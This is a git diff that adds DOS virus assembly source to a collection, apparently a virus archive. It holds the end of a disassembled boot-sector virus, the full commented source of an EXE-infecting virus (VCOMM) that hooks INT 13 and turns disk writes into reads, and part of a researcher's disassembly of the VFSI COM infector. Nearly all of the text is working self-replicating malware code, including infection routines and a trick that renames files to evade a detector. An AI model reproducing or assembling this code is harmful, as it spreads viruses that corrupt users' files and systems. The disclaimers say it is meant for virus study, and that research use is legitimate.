+sub_4: + mov dl,data_24 + mov bx,8000h + int 13h ; Disk dl=drive b: ah=func 02h + ; read sectors to memory es:bx + jnc loc_ret_5 ; Jump if carry=0 + pop ax + +loc_ret_5: + retn +sub_2 endp + + push ds + push es + push ax + push bx + push cx + push dx + push cs + pop ds + push cs + pop es + test data_23,1 + jnz loc_8 ; Jump if not zero + cmp ah,2 + jne loc_8 ; Jump if not equal + cmp data_24,dl + mov data_24,dl + jnz loc_7 ; Jump if not zero + xor ah,ah ; Zero register + int 1Ah ; Real time clock ah=func 00h + ; get system timer count cx,dx + test dh,7Fh + jnz loc_6 ; Jump if not zero + test dl,0F0h + jnz loc_6 ; Jump if not zero + push dx + call sub_6 + pop dx +loc_6: + mov cx,dx + sub dx,data_26 + mov data_26,cx + sub dx,24h + jc loc_8 ; Jump if carry Set +loc_7: + or data_23,1 + push si + push di + call sub_5 + pop di + pop si + and data_23,0FEh +loc_8: + pop dx + pop cx + pop bx + pop ax + pop es + pop ds + jmp far ptr loc_38 + +;========================================================================== +; SUBROUTINE +;========================================================================== + +sub_5 proc near + mov ax,201h + mov dh,0 + mov cx,1 + call sub_4 + test data_24,80h + jz loc_11 ; Jump if zero + mov si,81BEh + mov cx,4 + +locloop_9: + cmp data_8[si],1 + je loc_10 ; Jump if equal + cmp data_8[si],4 + je loc_10 ; Jump if equal + add si,10h + loop locloop_9 ; Loop if cx > 0 + + retn +loc_10: + mov dx,[si] + mov cx,data_7[si] + mov ax,201h + call sub_4 +loc_11: + mov si,8002h + mov di,7C02h + mov cx,1Ch + rep movsb ; Rep while cx>0 Mov [si] to es:[di] + cmp data_46,1357h + jne loc_13 ; Jump if not equal + cmp data_45,0 + jae loc_ret_12 ; Jump if above or = + mov ax,data_43 + mov data_22,ax + mov si,data_44 + jmp loc_23 + +loc_ret_12: + retn +loc_13: + cmp data_37,200h + jne loc_ret_12 ; Jump if not equal + cmp data_38,2 + jb loc_ret_12 ; Jump if below + mov cx,data_39 + mov al,data_40 + cbw ; Convrt byte to word + mul data_42 ; ax = data * ax + add cx,ax + mov ax,20h + mul data_41 ; ax = data * ax + add ax,1FFh + mov bx,200h + div bx ; ax,dx rem=dx:ax/reg + add cx,ax + mov data_22,cx + mov ax,data_15 + sub ax,data_22 + mov bl,data_13 + xor dx,dx ; Zero register + xor bh,bh ; Zero register + div bx ; ax,dx rem=dx:ax/reg + inc ax + mov di,ax + and data_23,0FBh + cmp ax,0FF0h + jbe loc_14 ; Jump if below or = + or data_23,4 +loc_14: + mov si,1 + mov bx,data_14 + dec bx + mov data_21,bx + mov data_27,0FEh + jmp short loc_15 +data_21 dw 1Ah +data_22 dw 73h +data_23 db 4 +data_24 db 81h +data_25 dw 654Bh + add data_9[bx],dl + push bp + stosb ; Store al to es:[di] +loc_15: + inc data_21 + mov bx,data_21 + add data_27,2 + call sub_3 + jmp short loc_20 +loc_16: + mov ax,3 + test data_23,4 + jz loc_17 ; Jump if zero + inc ax +loc_17: + mul si ; dx:ax = reg * ax + shr ax,1 ; Shift w/zeros fill + sub ah,data_27 + mov bx,ax + cmp bx,1FFh + jae loc_15 ; Jump if above or = + mov dx,data_36[bx] + test data_23,4 + jnz loc_19 ; Jump if not zero + mov cl,4 + test si,1 + jz loc_18 ; Jump if zero + shr dx,cl ; Shift w/zeros fill +loc_18: + and dh,0Fh +loc_19: + test dx,0FFFFh + jz loc_21 ; Jump if zero +loc_20: + inc si + cmp si,di + jbe loc_16 ; Jump if below or = + retn +loc_21: + mov dx,0FFF7h + test data_23,4 + jnz loc_22 ; Jump if not zero + and dh,0Fh + mov cl,4 + test si,1 + jz loc_22 ; Jump if zero + shl dx,cl ; Shift w/zeros fill +loc_22: + or data_36[bx],dx + mov bx,data_21 + call sub_2 + mov ax,si + sub ax,2 + mov bl,data_13 + xor bh,bh ; Zero register + mul bx ; dx:ax = reg * ax + add ax,data_22 + mov si,ax + mov bx,0 + call sub_3 + mov bx,si + inc bx + call sub_2 +loc_23: + mov bx,si + mov data_25,si + push cs + pop ax + sub ax,20h + mov es,ax + call sub_2 + push cs + pop ax + sub ax,40h + mov es,ax + mov bx,0 + call sub_2 + retn +sub_5 endp + +data_26 dw 246Eh +data_27 db 32h + +;========================================================================== +; SUBROUTINE +;========================================================================== + +sub_6 proc near + test data_23,2 + jnz loc_ret_24 ; Jump if not zero + or data_23,2 + mov ax,0 + mov ds,ax + mov ax,data_1 + mov bx,data_2 + mov data_1,7EDFh + mov data_2,cs + push cs + pop ds + mov data_28,ax + mov data_29,bx + +loc_ret_24: + retn +sub_6 endp + + push ds + push ax + push bx + push cx + push dx + push cs + pop ds + mov ah,0Fh + int 10h ; Video display ah=functn 0Fh + ; get state, al=mode, bh=page + mov bl,al + cmp bx,data_34 + je loc_27 ; Jump if equal + mov data_34,bx + dec ah + mov data_35,ah + mov ah,1 + cmp bl,7 + jne loc_25 ; Jump if not equal + dec ah +loc_25: + cmp bl,4 + jae loc_26 ; Jump if above or = + dec ah +loc_26: + mov data_33,ah + mov data_31,101h + mov data_32,101h + mov ah,3 + int 10h ; Video display ah=functn 03h + ; get cursor loc in dx, mode cx + push dx + mov dx,data_31 + jmp short loc_29 +loc_27: + mov ah,3 + int 10h ; Video display ah=functn 03h + ; get cursor loc in dx, mode cx + push dx + mov ah,2 + mov dx,data_31 + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + mov ax,data_30 + cmp data_33,1 + jne loc_28 ; Jump if not equal + mov ax,8307h +loc_28: + mov bl,ah + mov cx,1 + mov ah,9 + int 10h ; Video display ah=functn 09h + ; set char al & attrib ah @curs +loc_29: + mov cx,data_32 + cmp dh,0 + jne loc_30 ; Jump if not equal + xor ch,0FFh + inc ch +loc_30: + cmp dh,18h + jne loc_31 ; Jump if not equal + xor ch,0FFh + inc ch +loc_31: + cmp dl,0 + jne loc_32 ; Jump if not equal + xor cl,0FFh + inc cl +loc_32: + cmp dl,data_35 + jne loc_33 ; Jump if not equal + xor cl,0FFh + inc cl +loc_33: + cmp cx,data_32 + jne loc_35 ; Jump if not equal + mov ax,data_30 + and al,7 + cmp al,3 + jne loc_34 ; Jump if not equal + xor ch,0FFh + inc ch +loc_34: + cmp al,5 + jne loc_35 ; Jump if not equal + xor cl,0FFh + inc cl +loc_35: + add dl,cl + add dh,ch + mov data_32,cx + mov data_31,dx + mov ah,2 + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + mov ah,8 + int 10h ; Video display ah=functn 08h + ; get char al & attrib ah @curs + mov data_30,ax + mov bl,ah + cmp data_33,1 + jne loc_36 ; Jump if not equal + mov bl,83h +loc_36: + mov cx,1 + mov ax,907h + int 10h ; Video display ah=functn 09h + ; set char al & attrib ah @curs + pop dx + mov ah,2 + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + pop dx + pop cx + pop bx + pop ax + pop ds + jmp far ptr loc_1 +data_30 dw 0 +data_31 dw 101h +data_32 dw 101h +data_33 db 0 +data_34 dw 0FFFFh +data_35 db 50h + mov bh,0B7h + mov bh,0B6h + inc ax + inc ax + mov dh,bl + out 5Ah,al ; port 5Ah + lodsb ; String [si] to al + shl ah,cl ; Shift w/zeros fill + jmp far ptr loc_39 + inc ax + db 64h + pop sp + db 60h + push dx + inc ax + inc ax + inc ax + inc ax + db 64h + db 62h + pop si + db 62h + db 60h + pop si + jo loc_37 ; Jump if overflow=1 + inc ax + inc cx + mov bh,0B7h + mov bh,0B6h + + \ No newline at end of file diff --git a/v/VCOMM.ASM b/v/VCOMM.ASM new file mode 100755 index 0000000..9a60e26 --- /dev/null +++ b/v/VCOMM.ASM @@ -0,0 +1,724 @@ +;--------------------------------------------------------------------; +; ; +; EXE virus, with resident part ; +; ; +; ---- infecting program ---- ; +; ; +;--------------------------------------------------------------------; + +;--------------------------------------------------------------------; +; ; +; WARNING : it's definitely NOT safe to assemble and execute ; +; this code. If anybody has to, I highly reccomend using ; +; a diskette and debugger. ; +; ; +;--------------------------------------------------------------------; + +;********************************************************************* + +;--------------------------------------------------------------------; +; ; +; The EXE virus concept is as follows: ; +; ; +; First, original Disk Transfer Address is preserved to avoid ; +; changing command-line text. Also initial values of CS, IP, SS, SP ; +; DS and ES are saved (to be restored on exit from virus code). ; +; Virus is to be appended to original code and, of course, has ; +; to be relocated before it's executed. Thus, first we look for ; +; an EXE file. Then we have to know if this is in fact an EXE ; +; (checking for magic 'MZ' signature) and if there is any free space ; +; in relocation table. This is checked by substracting relocation ; +; table end (i.e. sum of table start and number of relocation items, ; +; multiplied by table entry size) from EXE header size. ; +; Smart virus shouldn't infect a file that's already infected. ; +; So first 4 bytes of code to be executed is compared against ; +; virus code. If they match one another, no infection takes place. ; +; Having found suitable file, we compute its code end and append ; +; virus at the end of code, writing alignment to last 512-bytes page ; +; boundary if necessary. Original start address is preserved inside ; +; virus, and CS:IP value in EXE header gets changed, so that virus ; +; code would be executed first. Number of pages gets changed, ; +; together with Last Page Size and Number Of Relocation Items. ; +; New relocation item address is appended to relocation table, ; +; pointing to the segment of the far jump in virus (this is the jump ; +; virus uses to return to original code). ; +; Upon returning from virus, all saved registers and DTA are ; +; restored to reestablish environment state as if no virus existed. ; +; ; +; Virus also installs resident part, if it is not already present. ; +; This part's job is to replace all disk 'writes' with corresponding ; +; 'reads'. It's rather unharmful, but can easily be replaced with ; +; more dangerous one (if somebody is really keen to be called ...). ; +; Instalation can be removed with equal ease, as well. ; +; ; +; The real trouble with EXEs is that DOS pays a little (if any) ; +; attention to Last Page Size. Therefore EXE files ofen have this ; +; zeroed, even if they have some code on the last page. Writing to ; +; last page can cause system crash while infected file is being ; +; executed. To solve the problem, one should first test if EXE file ; +; really ends as the header contents say and move to last page end ; +; instead of appending any bytes, if possible. ; +; ; +; Another problem is infecting EXEs containg debug info. ; +; It comes in various formats, and often contains vital informations ; +; placed behind code. This info gets destroyed when file becomes ; +; infected. I see no solution to this problem, so far. ; +; ; +;--------------------------------------------------------------------; + +;********************************************************************; + +;--------------------------------------------------------------------; +; ; +; SEGMENT dummy ; +; ; +; Raison d'etre of this segment is to force assembling of ; +; the JMP FAR after the execution of virus code. ; +; ; +; This segment serves also to make it possible for the infecting ; +; program to return to DOS. ; +; ; +;--------------------------------------------------------------------; + + + dummy segment 'dummy' + + assume cs: dummy + + d_end label far ; this is the point virus jumps to + ; after executing itself + mov ah, 4Ch + int 21h ; DOS EXIT function + + dummy ends + +;--------------------------------------------------------------------; +; ; +; SEGMENT code ; +; ; +; Code for virus (including its resident part). ; +; ; +; Executed from label start:. Exits via dummy:d_end. ; +; ; +;--------------------------------------------------------------------; + + code segment 'code' + + public start, jump, old_IP, old_CS, old_DTA, + public next, ok, exit, header, DTA, file_name, old_SS, old_SP, aux + public last_page, page_count, item_count, header_size, table_start + public header_IP, header_CS, header_SS, header_SP, aux_CS, aux_IP + public not_ok, time, date, attributes, new_name, found_name + public restore_and_close, dot, seek_dot, next_letter, install_flag + public next_lttr, EXE_sign, int_CS, int_IP, virus_length, set_ES + public resident, resident_size, l1, call_int, install, set_DS + + assume cs : code, ds : code + +;--------------------------------------------------------------------; +; ; +; Here are symbolic names for memory locations ; +; ; +;--------------------------------------------------------------------; + +; First go names for EXE header contents + + EXE_sign equ word ptr [header] + last_page equ word ptr [header + 2] + page_count equ word ptr [header + 4] + item_count equ word ptr [header + 6] + header_size equ word ptr [header + 8] + header_SS equ word ptr [header + 0Eh] + header_SP equ word ptr [header + 10h] + header_IP equ word ptr [header + 14h] + header_CS equ word ptr [header + 16h] + table_start equ word ptr [header + 18h] + +; Now names for address of mother program + + old_IP equ word ptr [jump + 1] + old_CS equ word ptr [jump + 3] + +; Segment to put resident part in, for instance end of 2nd Hercules page + + resident_CS equ 0BFFEh + +; And label for the name of the file found by Find_First and Find_Next + + found_name equ DTA + 1Eh + +; Last is virus length + + virus_length equ offset header + +;------------ Now starts virus code --------------------------------; + +; First original values of SS, SP, ES, DS are preserved, +; and new values for this registers are set + + start: mov cx, ss ; temporarily save SS in CX + mov dx, sp ; and SP in DX + + mov ax, cs ; now AX = CODE + cli ; disable hard ints while changing stack + mov ss, ax ; now SS = CODE + mov sp, 0FFFFh ; and SS points to segment end + sti ; hardware interrupts are OK now + + push ds ; preserve DS on stack + push es ; same with ES + + push cs + pop ds ; set DS to CODE + + mov [old_SS], cx ; now as DS is CODE, we can store + mov [old_SP], dx ; original SS and SP in memory + +; Original DTA is preserved now + + mov ah, 2Fh + int 21h + mov word ptr [old_DTA], bx ; now ES:BX points to DTA + mov word ptr [old_DTA + 2], es ; save its address in memory + +; Call to Get_DTA would have destroyed ES. Now set it + + push ds ; set ES to CODE + pop es + +; And now new DTA is established for virus disk actions + + mov dx, offset DTA ; DS:DX point to new DTA + mov ah, 1Ah + int 21h + +; Store original INT_13 vector for use in resident part + + mov ax, 3513h + int 21h ; DOS Get_Interrupt_Vector function + + mov [int_IP], bx ; now ES:BX holds INT_13 vector + mov [int_CS], es ; store it inside resident part + +; Check if resident part already present + + mov ax, es ; compare can work with AX + + cmp ax, resident_CS ; check if this is resident_CS + jnz install ; no, so install + + cmp bx, 0 ; is offset 0 ? + jnz install ; no, so install + +; Resident part found, do not install + + mov [install_flag], 0 ; signal 'no installing' + + jmp short set_ES ; and omit copying code + +; Now resident part is moved to its place in memory + +install: mov ax, resident_CS + mov es, ax ; ES = segment for resident part + xor di, di ; DI = 0, resident starts from offset 0 + mov si, offset resident ; SI = offset in DS for resident part + mov cx, resident_size ; CX = size of resident part + + cld ; set auto increment + rep movsb ; copy resident part from DS:SI to ES:DI + + mov [install_flag], 1 ; signal 'instal vector' + +; Reestablish destroyed ES to CODE + + set_ES: push ds + pop es + +; Now decode "*.EXE" name pattern. It's coded to disable 'eye-shot' discovery + + mov si, offset file_name ; name pattern starts there + mov cx, 5 ; and is 5 bytes long + +next_letter: inc byte ptr [si] ; decode by incrementing by one + inc si + loop next_letter ; decode all 5 bytes + +; Find an EXE file + + mov dx, offset file_name ; DS:DX points to '*.EXE' + mov cx, 20h ; search for read-only files too + + mov ah, 4Eh ; DOS Find_First function + int 21h ; now DTA gets filled with info + + jnc check ; no carry means file found + ; jump to check if to infect file + + jmp exit ; no EXE file - nothing to do + +; Find next EXE file, if necessary + + next: mov ah, 4Fh ;DOS Find_Next function + int 21h + + jnc check ; see jumps after Find_First + jmp exit ; for explanation + +; Check if file should and can be infected + +; First of all, get file attributes + + check: mov dx, offset found_name ; DS:DX points to found file name + + mov ax, 4300h ; DOS Get_File_Attributes function + int 21h ; attributes returned in CX + + mov [attributes], cx ; preserve them in memory + +; Then change file attributes to 'neutral' + + mov dx, offset found_name ; DS:DX points to found file name + xor cx, cx ; CX = 0 - means no attributes set + + mov ax, 4301h ; DOS Set_File_Attributes function + int 21h ; attributes to be set in CX + +; To avoid being spotted by VIRBLK, rename ????????.EXE to ???????. + + mov si, offset found_name ; DS:DX points to found file name + mov di, offset new_name ; ES:DI points to new name + + cld ; set auto increment + +; Copy old name to new name until dot found + + seek_dot: lodsb ; get character at DS:SI + cmp al, '.' ; check if it is a dot + stosb ; copy it anyway to ES:DI + + jz dot ; dot found, end of copying + + loop seek_dot ; if no dot, copy next character + +; DOS requires ASCIIZ strings, so append a byte of 0 to new name + + dot: xor al, al ; AL = 0 + stosb ; store 0 to byte at ES:DI + +; Now rename can be performed + + mov dx, offset found_name ; DS:DX points to old name + mov di, offset new_name ; ES:DI points to new name + + mov ah, 56h ; DOS Rename_File function + int 21h + +; It is safe to open file now + + mov dx, offset new_name ; DS:DX points to file name + + mov ax, 3D02h ; DOS Open_File_Handle fuction + int 21h ; open file for reading and writing + + jc next ; carry set means for some reason + ; operation failed + ; try to find next file + +; Preserve handle for just open file in BX register + + mov bx, ax ; all DOS calls require handle in BX + +; Now store original file time and date, to be restored on closing the file + + mov ax, 5700h ; DOS Get_File_Time_Date function + int 21h ; time returned in CX, date in DX + + mov [time], cx ; store time in memory + mov [date], dx ; same with date + +; Read EXE header to memory + + mov dx, offset header ; DS:DX = place to read header to + mov cx, 1Ah ; header is 1Ah bytes long + + mov ah, 3Fh ; DOS Read_Handle function + int 21h + +; Check if it is a real EXE, not just EXE-named file + + check_EXE: cmp EXE_sign, 5A4Dh ; first two bytes of header should + ; contain 'MZ' characters + + jne not_ok ; if not, don't proceed with file + +; It is EXE, check if it is already infected +; by comparing code start with itself + +; Compute where code in file starts + + mov ax, [header_CS] ; get start CS for file + add ax, [header_size] ; add header size + + mov cx, 16 ; above were in 16 bytes units + mul cx ; so multiply by 16 + ; DX|AX holds result + + add ax, [header_IP] ; add for IP + adc dx, 0 ; propagate carry if necessasry + +; Now DX|AX holds file offset for code start, move there + + mov cx, dx ; set registers for DOS call + mov dx, ax + + mov ax, 4200h ; DOS Move_File_Ptr function + int 21h ; move relatively to start + +; Read first four bytes of code + + mov dx, offset aux ; DS:DX = place to read code into + mov cx, 4 ; CX = number of bytes to read + + mov ah, 3Fh ; DOS Read_Handle function + int 21h + +; Compare them with itself + + mov di, offset aux ; ES:DI points to code from file + mov si, offset start ; DS:SI points to itself start + mov cx, 2 ; CX = number of words to compare + cld ; set auto increment + + repe cmpsw ; compare while equal + + je not_ok ; equal = infected, don't proceed + +; Check if there is space in relocation table to put one more item + +; Calculate where Relocation_Table ends + + mov ax, [item_count] ; get number of Relocation Items + inc ax ; add for new one + mov cx, 4 ; each one is 4 bytes long + mul cx ; so multiply by 4 + ; DX|AX holds result + + add ax, [table_start] ; add offset of Relocation_Table + adc dx, 0 ; process carry + +; Now DX|AX holds file offset for table end, store it temporarily in DI|SI + + mov di, dx ; preserve Relocation_Table offset + mov si, ax + +; Calculate where code starts (in file) + + mov ax, [header_size] ; get header size for this EXE + mov cx, 10h ; as it is in 16 byte units, + mul cx ; multiply by 16 + ; DX|AX holds result + +; See if there is free space for relocation item + + sub ax, si ; substract Relocation_Table end + sbb dx, di + + jae ok ; Relocation_Table end not less + ; then code start, so there IS room + +; If somehow this file is not to be infected, restore it's original state + + not_ok: call restore_and_close + + jmp next ; nevertheless, try to find infectable one + +; File is to be infected now + +; First adjust file offset for new relocation item + + ok: sub si, 4 ; new item starts 4 bytes + sbb di, 0 ; before Relocation_Table end + +; Then preserve temporarily address of the mother code + + mov ax, [old_CS] ; preserve jump address via AX + mov [aux_CS], ax ; in memory + mov ax, [old_IP] + mov [aux_IP], ax + +; Form inside itself a jump to new mother start + + mov ax, [header_IP] ; store new mother CS:IP as jump + mov [old_IP], ax ; do it via AX + mov ax, [header_CS] + mov [old_CS], ax + +; Calculate last page alignment + + mov cx, [last_page] ; CX = number of bytes in last page + mov ax, 200h ; AX = page size (page is 512 bytes) + + sub ax, cx ; CX = alignment to page boundary + + mov bp, ax ; preserve alignment in BP + +; Calculate new CS:IP values to execute virus instead of mother + + mov ax, [page_count] ; get number of pages in new mother + mov cx, 20h ; multiply by 32 to convert to + mul cx ; 16 bytes units + + sub ax, [header_size] ; decrease by header size + +; Modify header as necessary + + mov [header_CS], ax ; AX holds CS for virus + xor ax, ax ; now zero AX + mov [header_IP], ax ; as IP for virus is 0 + + add [page_count], 2 ; reserve space for virus + + inc [item_count] ; there'll be one more item + + mov [last_page], offset header ; last page will be as long + ; as virus itself + and [last_page], 1FFh ; modulo 512, of course + +; Move to file start + + xor cx, cx ; start means offset 0 + xor dx, dx + + mov ax, 4200h ; DOS Move_File_Ptr function + int 21h ; move relatively to start + +; Write new header + + mov dx, offset header ; DS:DX points to new header + mov cx, 1Ah ; which is still 1A bytes long + + mov ah, 40h ; DOS Write_Handle function + int 21h + +; Move to new Relocation Item position + + mov cx, di ; get stored position from DI|SI + mov dx, si + + mov ax, 4200h ; DOS Move_File_Ptr function + int 21h ; move relatively to start + +; Write new relocation item + + mov [header_IP], offset old_CS ; new Relocation Item offset + ; is jump to new mother code + + mov dx, offset header_IP ; DS:DX = new relocation item + mov cx, 4 ; exactly 4 bytes long + + mov ah, 40h ; DOS Write_Handle function + int 21h + +; Calculate file offset for new mother code end + + mov ax, [header_CS] ; get mother code lenght + add ax, [header_size] ; add header size + mov cx, 10h ; it's in 16 bytes units + mul cx ; so multiply by 16 + + sub ax, bp ; last page is not full + sbb dx, 0 ; so move back appropirately + +; Move file ptr to mother code end + + mov cx, dx ; DX|AX = file offset to code end + mov dx, ax ; set CX|DX for DOS call + + mov ax, 4200h ; DOS Move_File_Ptr function + int 21h ; move relatively to start + +; Write alignement (no matter what, only number is important) + + mov cx, bp ; get alignement amount + + mov ah, 40h ; DOS Write_Handle function + int 21h ; write CX bytes + +; Now prepare to append itself to EXE file + +; First encode EXE name patter anew + + mov si, offset file_name ; DS:SI points to name pattern + mov cx, 5 ; it is 5 characters long + +next_lttr: dec byte ptr [si] ; encode by decrement + inc si + loop next_lttr ; encode all 5 characters + +; All ready, append itself now + + xor dx, dx ; DX = 0, start offset for virus code + mov cx, virus_length ; CX = number of bytes to write + + mov ah, 40h ; DOS Write_Handle function + int 21h + +; No further action involving file will be taken, so restore it's state + + call restore_and_close ; restore date and time, close file + +; Restore jump to this mother code + + mov ax, [aux_CS] ; restore jump addres via AX + mov [old_CS], ax + mov ax, [aux_IP] + mov [old_IP], ax + +; All done with infecting, prepare to execute mother + +; Restore original DTA + + push ds ; preserve DS (now DS = CODE) + + exit: lds dx, old_DTA ; get original DTA address to DS:DX + + mov ah, 1Ah ; DOS Set_DTA function + int 21h + +; Check if install new INT_13 vector + + cmp [install_flag], 0 ; 0 means no installing + + jz set_DS ; omit installing + +; Install resident part + + mov ax, resident_CS ; load CS for resident to DS (via AX) + mov ds, ax + xor dx, dx ; DS:DX = address of resident part + + mov ax, 2513h ; DOS Set_Interrupt_Vector function + int 21h ; set vector for INT_13 + +set_DS: pop ds ; restore DS to CODE + + mov bx, [old_SS] ; BX = original SS + mov cx, [old_SP] ; CX = original SP + + pop es ; restore original DS and ES + pop ds + + cli ; disable hardware interrupts + mov sp, cx ; while restoring original SS:SP + mov ss, bx + sti ; enable hardware interrupts + +; Virus has done all its job, now let mother do its own + + jump: jmp dummy:d_end ; jump to original code + + +;----------- here is the one and only procedure -------------------; + + restore_and_close proc near + +; Restore original file time and date + + mov cx, [time] ; get saved time + mov dx, [date] ; get saved date + + mov ax, 5701h ; DOS Set_File_Time_Date function + int 21h ; time set as CX, date as DX + +; Close file + + mov ah, 3Eh ; DOS Close_File function + int 21h + +; Restore original name + + mov dx, offset new_name ; DS:DX points to new name + mov di, offset found_name ; ES:DI points to original name + + mov ah, 56h ; DOS Rename_File function + int 21h + +; Restore original file attributes + + mov dx, offset found_name ; restore attributes + mov cx, [attributes] + + mov ax, 4301h ; DOS Set_File_Attributes function + int 21h ; attributes set as CX + + ret + + restore_and_close endp + + +;------------ and here go the resident part of the virus -------------; + +resident: pushf ; save flags + + cmp ah, 3 ; is it Disk_Write_1 ? + jnz l1 ; no, check Disk_Write_2 + + mov ah, 2 ; yes, convert to Disk_Read_1 + jmp short call_int ; and exit resident + + l1: cmp ah, 0Bh ; is it Disk_Write_2 ? + jnz call_int ; no, exit resident + + mov ah, 0Ah ; yes, convert to Disk_Read_2 + +call_int: popf ; restore flags + + +; Next 5 bytes form long jump to original INT_13 handler + + db 0EAh ; means JMP FAR + +int_IP dw 0 ; and here the address to jump to +int_CS dw 0 + +resident_size equ $ - resident + +;-------- now data for virus, just encoded file name pattern -------; + + file_name db ')-DWD', 0 + +;-------------------------------------------------------------------; +; ; +; Here VIRUS ends. The rest are purely placeholders ; +; ; +;-------------------------------------------------------------------; + +;*******************************************************************; + + header dw 13 dup (0) + + old_SS dw 0 + old_SP dw 0 + + aux_CS dw 0 + aux_IP dw 0 + + old_DTA dd 0 + + time dw 0 + date dw 0 + + attributes dw 0 + + install_flag db 0 + + new_name db 9 dup (0) + + DTA dw 2Ch dup (0) + + aux dw 2 dup (0) + + code ends + + end start + \ No newline at end of file diff --git a/v/VFSI-ASM.ASM b/v/VFSI-ASM.ASM new file mode 100755 index 0000000..b45cb69 --- /dev/null +++ b/v/VFSI-ASM.ASM @@ -0,0 +1,326 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + page ,132 + name VFSI + title The 'VFSI' virus + .radix 16 + +; ͻ +; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 +; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 +; +; The 'VFSI' Virus +; Disassembled by Vesselin Bontchev, September 1990 +; +; Copyright (c) Vesselin Bontchev 1989, 1990 +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +msg_len equ msg_2-msg_1 ; Length of each of the two messages + +start: + jmp v_entry ; Jump to the virus body + nop ; The rest of the infected program + mov ax,4C00 ; Just terminate + int 21 + +; 1-15 bytes of garbage (in order to align +; the virus code to a paragraph boundary): + + db 7 dup (0) + +v_entry: + mov ax,word ptr ds:[start+1] + add ax,offset start ; Compute the virus start address + + mov cl,4 ; Convert it to a segment address + shr ax,cl + mov cx,ds + add ax,cx + inc ax + mov ds,ax ; Put this segment address in DS + + jmp v_start ; Jump to the true virus code + +first3 db 0EBh, 2, 90 ; The original first 3 bytes +fmask db '*.COM', 0 ; Files to search for +jmp_op db 0E9 ; A JMP to the virus body is formed here +jmp_adr dw 0Dh + +; First of the two encrypted messages. It says: +; 'HELLO!!! HAPPY DAY and SUCCESS' + +msg_1 db 2Ah, 28h, 30h, 31h, 35h, 08h + db 09h, 0Ah, 0Ah, 33h, 2Dh, 3Dh + db 3Eh, 48h, 10h, 35h, 33h, 4Ch + db 14h, 56h, 64h, 5Bh, 18h, 4Ch + db 4Fh, 3Eh, 3Fh, 42h, 51h, 52h + +; Second encrypted message. It says: +; ' from virus 1.1 VFSI-Svistov ' + +msg_2 db 02h, 03h, 4Ah, 57h, 55h, 54h + db 08h, 5Fh, 53h, 5Dh, 61h, 60h + db 0Eh, 20h, 1Eh, 22h, 12h, 49h + db 3Ah, 48h, 3Fh, 24h, 4Bh, 6Fh + db 63h, 6Eh, 70h, 6Ch, 74h, 1Fh + +grb_len db 7 ; Length of the garbage added to the file + +v_start: + push ds ; Save DS + + mov ax,ds:[first3-v_entry] ; Restore the original first 3 + mov word ptr cs:[offset start],ax ; bytes of the infected file + mov al,ds:[first3+2-v_entry] + mov byte ptr cs:[offset start+2],al + + mov ax,1A00 ; Set new DTA + lea dx,cs:[dta-v_entry] + int 21 ; Do it + + mov ax,4E00 ; Find first .COM file in the current directory + lea dx,cs:[fmask-v_entry] ; File mask to search for + mov cx,00100010b ; Archive, Hidden and Normal files + int 21 ; Do it + +srch_lp: + jnc cont ; If found, continue + jmp close ; Otherwize exit + +cont: + mov ax,3D02 ; Open the file for both reading and writing + lea dx,cs:[fname-v_entry] + int 21 ; Do it + + mov bx,ax ; Save file handle in BX + + mov ax,4202 ; Lseek to the end of file + xor cx,cx + xor dx,dx + int 21 ; Do it + + mov word ptr ds:[fsize-v_entry],ax ; Save file size + + sub ax,2 ; Lseek two bytes before the file end + mov dx,ax + mov ax,4200 + int 21 ; Do it + + mov ax,3F00 ; Read the last two bytes of the file + lea dx,cs:[last2-v_entry] ; Put them there + mov cx,2 ; (these bytes should contain + int 21 ; the virus signature) + + mov cx,ds:[last2-v_entry] ; Get these bytes + cmp cx,ds:[sign-v_entry] ; Compare them with the virus signature + +; If they are not equal, then the file is still not infected. Go infect it: + + jne infect + + mov ax,3E00 ; If file infected, close it + int 21 ; Do close + + mov ax,4F00 ; Find the next .COM file + lea dx,cs:[dta-v_entry] + int 21 ; Do it + + jmp srch_lp ; Loop until a non-infected file is found + +; A non-infected file is found. Infect it: + +infect: + mov ax,5700 ; Get file's date & time + int 21 ; Do it + + push cx ; Save time & date on stack + push dx + + mov ax,4200 ; Lseek to the file beginning + xor dx,dx + xor cx,cx + int 21 ; Do it + + mov ax,3F00 ; Read the original first 3 bytes of the file + mov cx,3 + lea dx,cs:[first3-v_entry] ; Save them in the virus body + int 21 ; Do it + + mov ax,4200 ; Lseek to the beginning of the file again + xor dx,dx + xor cx,cx + int 21 ; Do it + +; Align file size to the next multiple of 16: + + mov ax,ds:[fsize-v_entry] + and ax,1111b + push ax ; Save AX + xor ax,1111b + inc ax + +; Save the number of garbage bytes added in grb_len: + + mov byte ptr ds:[grb_len-v_entry],al + + add ax,ds:[fsize-v_entry] ; Form a Near JMP to the virus code + sub ax,3 + mov word ptr ds:[jmp_adr-v_entry],ax ; Form the operand + + mov ax,4000 ; Write this JMP in the first 3 bytes of file + lea dx,cs:[jmp_op-v_entry] + mov cx,3 + int 21 ; Do it + + mov ax,4202 ; Lseek to the end of file + mov dx,0 + xor cx,cx + int 21 ; Do it + + lea cx,cs:[v_end-v_entry-1] ; Virus size + pop ax ; Restore AX (new file size) + mov dx,ax + xor ax,1111b + add ax,2 + add cx,ax ; Number of bytes to write + + mov ax,ds ; DS := DS - 1 